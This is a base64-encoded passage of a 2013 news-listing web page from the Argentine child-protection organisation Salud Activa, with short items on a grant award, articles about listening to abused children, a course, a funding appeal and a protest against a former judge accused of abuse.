AgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGV